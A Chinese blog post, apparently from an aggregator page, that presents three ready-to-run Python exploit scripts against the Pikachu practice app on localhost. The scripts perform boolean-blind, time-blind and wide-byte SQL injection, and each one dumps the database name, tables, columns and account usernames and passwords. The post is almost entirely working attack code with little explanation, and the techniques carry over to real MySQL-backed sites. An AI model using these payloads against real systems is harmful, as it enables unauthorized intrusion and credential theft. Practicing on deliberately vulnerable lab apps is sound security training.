当前位置: 首页 > news >正文

Pikachu的python一键exp,盲注(base on boolian),盲注(base on time),宽字节注入

1.盲注(base on boolian)

import requests import time #盲注(boolian) # ===================== 配置(100%匹配你的原理) ===================== url = "http://127.0.0.1/pikachu-master/vul/sqli/sqli_blind_b.php" base_params = { "name": "", "submit": "查询" } TRUE_TEXT = "your uid" # 真 FALSE_TEXT = "username不存在" # 假 # ==================================================================== def bool_check(payload): """发送payload,返回True=真,False=假""" params = base_params.copy() params["name"] = payload try: res = requests.get(url, params=params, timeout=3) if TRUE_TEXT in res.text and FALSE_TEXT not in res.text: return True return False except: return False def get_length(sql): """猜解长度""" for l in range(1, 50): payload = f"kobe' and length(({sql}))={l}#" if bool_check(payload): return l return 0 def get_content(sql): """逐字符猜解内容""" length = get_length(sql) result = "" for i in range(1, length + 1): for ascii_code in range(32, 127): char = chr(ascii_code) payload = f"kobe' and ascii(substr(({sql}),{i},1))={ascii_code}#" if bool_check(payload): result += char print(f"\r[+] 已获取:{result}", end="") break return result # ===================== 开始脱库 ===================== print("=" * 60) print("🔥 PIKACHU 布尔盲注 ") print("=" * 60) print("\n[1] 数据库名:", end="") db_name = get_content("select database()") print(f" => {db_name}") print("\n[2] 所有表名:", end="") tables = get_content("select group_concat(table_name) from information_schema.tables where table_schema=database()") print(f" => {tables}") print("\n[3] member 字段:", end="") cols = get_content("select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='member'") print(f" => {cols}") print("\n[4] 账号密码:", end="") data = get_content("select group_concat(username,':',pw) from member") print(f" => {data}") print("\n✅ 脱库完成!")

2.盲注(base on time)

import requests import time # ===================== 【必须是时间盲注页面】 ===================== url = "http://127.0.0.1/pikachu-master/vul/sqli/sqli_blind_t.php" base_params = { "name": "", "submit": "查询" } SLEEP = 2 # ================================================================= def time_check(payload): params = base_params.copy() params["name"] = payload start = time.time() try: requests.get(url, params=params, timeout=5) except: pass end = time.time() return end - start >= SLEEP def get_length(sql): for l in range(1, 50): payload = f"kobe' and if(length(({sql}))={l}, sleep({SLEEP}), 1)#" if time_check(payload): return l return 0 def get_content(sql): length = get_length(sql) result = "" for i in range(1, length + 1): for asc in range(32, 127): payload = f"kobe' and if(ascii(substr(({sql}),{i},1))={asc}, sleep({SLEEP}), 1)#" if time_check(payload): result += chr(asc) print(f"\r[+] 已获取:{result}", end="") break return result # ===================== 开始 ===================== print("=" * 60) print("🔥 PIKACHU 时间盲注 ") print("=" * 60) print("\n数据库名:", end="") db = get_content("select database()") print(f" => {db}") print("\n表名:", end="") tables = get_content("select group_concat(table_name) from information_schema.tables where table_schema=database()") print(f" => {tables}") print("\n字段:", end="") cols = get_content("select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='member'") print(f" => {cols}") print("\n账号密码:", end="") data = get_content("select group_concat(username,':',pw) from member") print(f" => {data}") print("\n✅ 脱库完成!")

3.宽字节注入

import requests target = "http://127.0.0.1/pikachu-master/vul/sqli/sqli_widebyte.php" headers = { "Content-Type": "application/x-www-form-urlencoded" } def exp(payload): post_data = payload.encode() res = requests.post(target, data=post_data, headers=headers).text if "your uid:" in res: uid = res.split("your uid:")[1].split("<br />")[0].strip() email = res.split("your email is:")[1].split("</p>")[0].strip() return uid, email return None, None if __name__ == "__main__": print("======== Pikachu 宽字节注入 全套EXP ========\n") # 1. 查询库名 + 版本 u1,e1 = exp("name=1%df' union select database(),version() #&submit=%E6%9F%A5%E8%AF%A2") print(f"[1] 当前数据库:{u1}") print(f"[2] MySQL版本:{e1}\n") # 2. 查询所有表名 u2,e2 = exp("name=1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&submit=%E6%9F%A5%E8%AF%A2") print(f"[3] 全部数据表:{e2}\n") # 3. ✅ 修复:查询users表所有字段(加反引号) u3,e3 = exp("name=1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #&submit=%E6%9F%A5%E8%AF%A2") print(f"[4] users表字段:{e3}\n") # 4. 爆账号密码 u4,e4 = exp("name=1%df' union select username,password from users limit 0,1 #&submit=%E6%9F%A5%E8%AF%A2") print(f"[5] 账号:{u4}") print(f"[6] 密码:{e4}")
http://www.jsqmd.com/news/694918/

相关文章:

  • XOutput:你的老旧游戏手柄重获新生的终极兼容神器
  • 远程管理停车系统厂家推荐★智能停车系统厂家★智慧停车解决方案测评分析
  • 告别Python依赖:手把手教你用纯C在STM32F4上跑通LeNet-5(附完整源码)
  • 别再只盯着客户端了!用云函数+API工具5分钟搞定Uni-App uni-push 2.0消息测试
  • Vue3:全流程开发
  • 如何高效使用国家自然科学基金LaTeX模板:科研写作的终极指南
  • 告别‘so库丢失’:Flutter插件集成C++库时libc++_shared.so的完整配置流程
  • 如何用Spek音频频谱分析器轻松掌握音频质量检测:新手终极指南
  • 保姆级教程:在Win10的WSL2里用上你的USB摄像头(以Intel D435i为例)
  • 告别在线焦虑:B站视频下载器如何帮你永久收藏4K超清内容
  • 2027届文亮高考冲刺集训营:全职明星师资领航,助力 70 余名学员提分超百分
  • Flutter for OpenHarmony 应用更新检测与萌系搜索功能实战小记✨
  • 手机里的‘保险柜’:一文搞懂eMMC的RPMB分区如何保护你的指纹和支付密钥
  • 告别手动调参!用Python手搓KCF目标跟踪器,从HOG特征到模型更新保姆级教程
  • Kali换源后apt update还报错?手把手教你排查和修复常见源配置问题
  • 暗黑破坏神3终极辅助工具:D3KeyHelper免费完整指南
  • 笔记本远程调用台式机Ollama教程
  • 别再傻傻分不清!一文搞懂手机卡和手机里的MCC、MNC、IMSI、IMEI都是啥(附查询方法)
  • 深度神经网络的反向传播与梯度优化原理
  • eRoad揭秘:从offer发放到第一天上班,那段「消失的管理空白」
  • 超元力悬浮玻璃剧场:文旅新风口,盈利引擎
  • 从RADIUS服务器到AP:实战搭建一个小型WPA2-Enterprise测试环境(FreeRADIUS + 家用路由器)
  • 服务器模拟断网
  • 2026年贵州活动板房生产商大揭秘:谁将引领行业新潮流? - 速递信息
  • 身为程序员的你,卷到最后剩下了什么?35岁从互联网大厂程序员转行网安
  • AIGC对技术工作的影响:是辅助工具还是职业威胁?——软件测试从业者的视角
  • 如何在有/无备份的情况下检查 iPad 删除后的历史记录?
  • 脑隐私保护工程师:软件测试从业者的新前沿
  • 终极Windows激活指南:如何用智能脚本快速免费激活系统和Office
  • 保姆级教程:在野火STM32F429上从零移植LVGL 8.2(基于HAL库,含触摸屏驱动)